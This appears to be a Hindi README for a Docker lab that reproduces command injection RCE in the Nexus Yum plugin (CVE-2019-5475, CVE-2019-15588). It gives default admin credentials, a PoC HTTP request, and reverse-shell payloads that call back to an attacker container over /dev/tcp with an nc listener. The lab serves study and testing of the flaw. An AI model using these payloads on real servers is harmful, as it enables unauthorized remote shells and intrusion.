
CVE-2019-5475 रेंज: RCE कमांड इंजेक्शन भेद्यता
CVE-2019-5475 और CVE-2019-15588 लैब: RCE कमांड इंजेक्शन भेद्यता
CVE-2019-5475, Nexus के अंतर्निहित प्लगइन Yum Repository में RCE कमांड इंजेक्शन भेद्यता है, जिसे सबसे पहले hackerone पर प्रकट किया गया था, लेकिन आधिकारिक पहला सुधार अधूरा होने के कारण, CVE-2019-15588 भेद्यता भी उत्पन्न हुई।
इन दोनों भेद्यताओं का उपयोग केवल admin के रूप में लॉग इन करने के बाद ही किया जा सकता है, लेकिन nexus का डिफ़ॉल्ट व्यवस्थापक पासवर्ड admin123 अक्सर बदलना भूल दिया जाता है, जिससे इनका शोषण करना बहुत आसान हो जाता है।
CVE-2019-5475
├── nexus-yum-core .......... [डीबग के लिए Maven प्रोजेक्ट: nexus GUI में createrepo या mergerepo इनपुट का अनुकरण]
├── nexus ................... [Nexus कंटेनर की डेटा माउंट निर्देशिका]
├── attacker ................ [हमलावर मशीन की निर्माण निर्देशिका]
│ └── Dockerfile .......... [हमलावर मशीन की Docker निर्माण फ़ाइल]
├── docker-compose.yml ...... [Docker की निर्माण कॉन्फ़िगरेशन]
├── imgs .................... [README स्पष्टीकरण में सहायक चित्र]
└── README.md ............... [यह README स्पष्टीकरण]
cd CVE-2019-5475docker-compose up -dadmin/admin123 है), जहाँ:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
इस लैब में एक हमलावर मशीन 172.168.50.2 भी स्थापित की गई है, जो दोनों लक्ष्य मशीनों के समान नेटवर्क वातावरण में है, और इसका उद्देश्य रिवर्स शेल को सत्यापित करना है।
admin से http://127.0.0.1:8009/nexus/#capabilities में लॉग इन करें, Administration -> Capabilities -> Yum: Configuration -> Settings में RCE इंजेक्शन पॉइंट पाया जा सकता है।
इनपुट बॉक्स Path of "createrepo" और Path of "mergerepo" दोनों में इंजेक्शन लगाया जा सकता है, निष्पादन परिणाम Status से देखे जा सकते हैं।
उदाहरण के लिए, createrepo इंजेक्शन पॉइंट पर PoC bash -c id || python बनाने पर, Status से कमांड bash -c id का निष्पादन परिणाम uid=200(nexus) gid=200(nexus) groups=200(nexus) प्राप्त होता है।
BurpSuite के माध्यम से संबंधित PoC अनुरोध इस प्रकार इंटरसेप्ट किया जा सकता है:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


इस इंजेक्शन पॉइंट का उपयोग आसानी से रिवर्स शेल बनाने के लिए किया जा सकता है:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo इंजेक्शन पॉइंट पर payload बनाएं: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
इंजेक्शन स्थान CVE-2019-5475 के समान है, PoC को इस प्रकार समायोजित करें: /bin/bash -c id || /createrepo


इस भेद्यता का उपयोग करके उसी विधि से रिवर्स शेल प्राप्त किया जा सकता है:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo इंजेक्शन पॉइंट पर payload बनाएं: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core nexus में इस भेद्यता शोषण से संबंधित मुख्य कोड स्निपेट है, जिसका उपयोग मुख्य रूप से बैकएंड से सीधे इनपुट payload के डीबग विश्लेषण के लिए किया जाता है, बिना स्रोत कोड से पूर्ण Nexus सेवा तैयार किए।
